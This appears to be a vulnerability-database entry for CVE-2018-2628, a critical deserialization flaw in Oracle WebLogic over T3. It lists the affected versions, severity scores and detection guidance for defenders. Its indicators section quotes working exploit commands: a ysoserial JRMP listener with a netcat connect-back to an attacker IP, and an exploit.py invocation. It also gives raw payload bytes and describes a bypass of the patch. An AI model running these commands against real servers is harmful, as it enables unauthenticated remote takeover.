cbcvebase.
CVE-2018-2628
published 2018-04-19

CVE-2018-2628: Vulnerability in the Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent: WLS Core Components). Supported versions that are affected are…

PriorityP1100critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
KEVITWEXPLOITInitial access
CISA Known Exploited Vulnerabilitydue 2022-09-29
Exploited in the wild
EPSS
99.45%
99.9th percentile
Vulnerability in the Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent: WLS Core Components). Supported versions that are affected are 10.3.6.0, 12.1.3.0, 12.2.1.2 and 12.2.1.3. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3 to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server. CVSS 3.0 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Affected

8 ranges
VendorProductVersion rangeFixed in
oracleweblogic_server
oracleweblogic_server
oracleweblogic_server
oracleweblogic_server
oracle_corporationweblogic_server
oracle_corporationweblogic_server
oracle_corporationweblogic_server
oracle_corporationweblogic_server

Detection & IOCsextracted from sources · hover to see the quote

port7001
commandjava -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'nc -nv 10.0.0.5 4040'
commandpython exploit.py 10.0.0.11 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 10.0.0.5 1099 JRMPClient
filenameysoserial-0.0.6-SNAPSHOT-BETA-all.jar
bytes
74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a
bytes
000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec9
bytes
056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000
bytes
51aced0005770f02086f5ef3000001651a67984d80017372002e6a617661782e
  • Monitor TCP port 7001 for inbound T3 protocol connections from untrusted sources; attackers actively scan for WebLogic on this port to deliver deserialization payloads.
  • Detect T3 handshake initiation by looking for the hex string 't3 12.2.1' (ASCII of the handshake bytes) on port 7001 followed by large serialized object payloads containing the 'aced 0005' Java serialization magic bytes.
  • Alert on WebLogic server logs containing 'ClassCastException: com.sun.proxy.$Proxy' cast to 'weblogic.rjvm.ClassTableEntry' — this indicates a successful initial deserialization connect-back attempt via CVE-2018-2628.
  • Detect use of ysoserial JRMPClient or JRMPClient2 payloads in T3 traffic; the exploit triggers an outbound RMI/JRMP callback from the WebLogic server to an attacker-controlled listener.
  • Detect the bypass payload class 'JRMPClient_20180718_bypass01' (using ReferenceWrapper_Stub) in ysoserial-generated payloads sent over T3, which bypasses the April 2018 CPU blacklist patch.
  • Monitor for unexpected outbound connections from WebLogic server processes to high-numbered or unusual ports (e.g., 1099, 4040) which may indicate a successful JRMP connect-back from a deserialization exploit.
  • ·The April 2018 Critical Patch Update patch for CVE-2018-2628 is ineffective — it is a blacklist bypass and the vulnerability remains exploitable on patched servers. Organizations must apply the patch but should not consider patched servers fully protected.
  • ·RCE via CommonsCollections1 ysoserial gadget is NOT achievable on servers where Oracle removed Apache Commons Collections from the classpath (done in 2017); the deserialization still succeeds but RCE does not follow.
  • ·The Jdk7u21 ysoserial payload only achieves RCE on very old Java runtimes (pre-Java 7u21 patch from 2013 / pre-Java 8u patch from 2014); modern Java deployments are not vulnerable to this specific gadget chain.
  • ·The bypass payload (JRMPClient_20180718_bypass01 using ReferenceWrapper_Stub) was developed specifically to circumvent the blacklist introduced by the April 2018 CPU, meaning even patched servers may be vulnerable to this variant.

CVSS provenance

nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.07.5HIGHAV:N/AC:L/Au:N/C:P/I:P/A:P
vulncheck9.8CRITICAL
cisa9.8CRITICAL
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